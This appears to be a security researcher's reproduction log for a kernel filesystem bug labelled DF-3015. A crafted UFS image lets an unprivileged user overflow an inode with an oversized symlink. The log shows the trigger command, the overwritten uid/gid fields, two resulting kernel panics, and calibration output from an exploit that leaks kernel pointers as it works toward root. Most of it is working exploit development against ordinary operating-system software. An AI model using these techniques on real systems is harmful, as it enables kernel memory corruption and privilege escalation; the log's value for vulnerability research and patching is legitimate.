Baseline (stock kernel) — DF-3015 reproduction log
====================================================

[setup3015.sh] crafted image mounted:
/dev/vn0 on /mnt (ufs, local)
superblock bytes at 9512: ff 7f 00 00   (fs_maxsymlinklen = 0x7fff)

$ id
uid=1001(maxx) gid=1001(maxx) groups=1001(maxx)

$ ./trigger3015 /mnt/p/l1        # symlink() with 1023 'A's, unprivileged
[+] symlink(1023 bytes) created at /mnt/p/l1 — bcopy overflow executed
   (then `ls -lai /mnt/hold`)

--- observed on the mount (ls -la /mnt/p):
lrwxr-xr-x  1 1094795585  1094795585  1023 Sep  5 08:45 l1 -> AAAA...
                    ^ 0x41414141  ^ 0x41414141
   ==> the symlink's OWN in-memory inode di_uid/di_gid (i_din+112/+116)
   were overwritten with attacker bytes and disclosed to userland by
   stat(2).  The bcopy provably ran 1023 bytes from i_shortlink.

--- panic #1 (freelist poisoning, bytes 0x53 'S'):
panic: assertion "(((intptr_t)chunk ^ (intptr_t)z) & ZoneMask) == 0" failed in chunk_mark_allocated at /usr/src/sys/kern/kern_slaballoc.c:1659
cpuid = 1
Trace beginning at frame 0xfffff801179e8208
chunk_mark_allocated() at chunk_mark_allocated+0x8a
_kmalloc() at _kmalloc+0x684
ffs_vget() at ffs_vget+0x46
vfs_vget() at vfs_vget+0x84
ffs_valloc() at ffs_valloc+0xc5
   (full text: panic.txt — a free 320-byte chunk's c_Next freelist
   pointer had been overwritten with 0x5353535353535353 by a 280-byte
   symlink smash; the next inode allocation popped the poisoned list)

--- panic #2 (live-inode pointer smash, bytes 0x41 'A'):
Fatal trap 9: general protection fault while in kernel mode
instruction pointer = 0x8:0xffffffff8090717e
Stopped at ffs_update+0x3e: cmpb $0,0xd2(%r13)
   (full text: panic2.txt — 1023-byte trigger smashed a neighbouring
   live inode's i_fs/i_devvp region with 'A' bytes; ffs_update
   dereferenced the garbage pointer)

--- calibration (exp3015.c, stock kernel, same boot as panic #1):
[cal] ADJACENCY VERIFIED after 150 pairs (leak i_number == V ino 306)
[cal] k_fs   = 00884b1801f8ffff
[cal] k_dev  = 80b72b4f00f8ffff
[cal] k_devvp= 000f6e1701f8ffff
   ==> readlink() leak (DF-0778 primitive) of a chunk following a
   280-byte symlink showed the live neighbour inode's i_number exactly
   where the offset model predicts — the write offset is deterministic.
   NOTE: all three mount-constant kernel pointers contain 0x00 bytes
   (size-class-aligned allocations), which is what blocks the final
   uid=0 chain (see VERDICT.md).
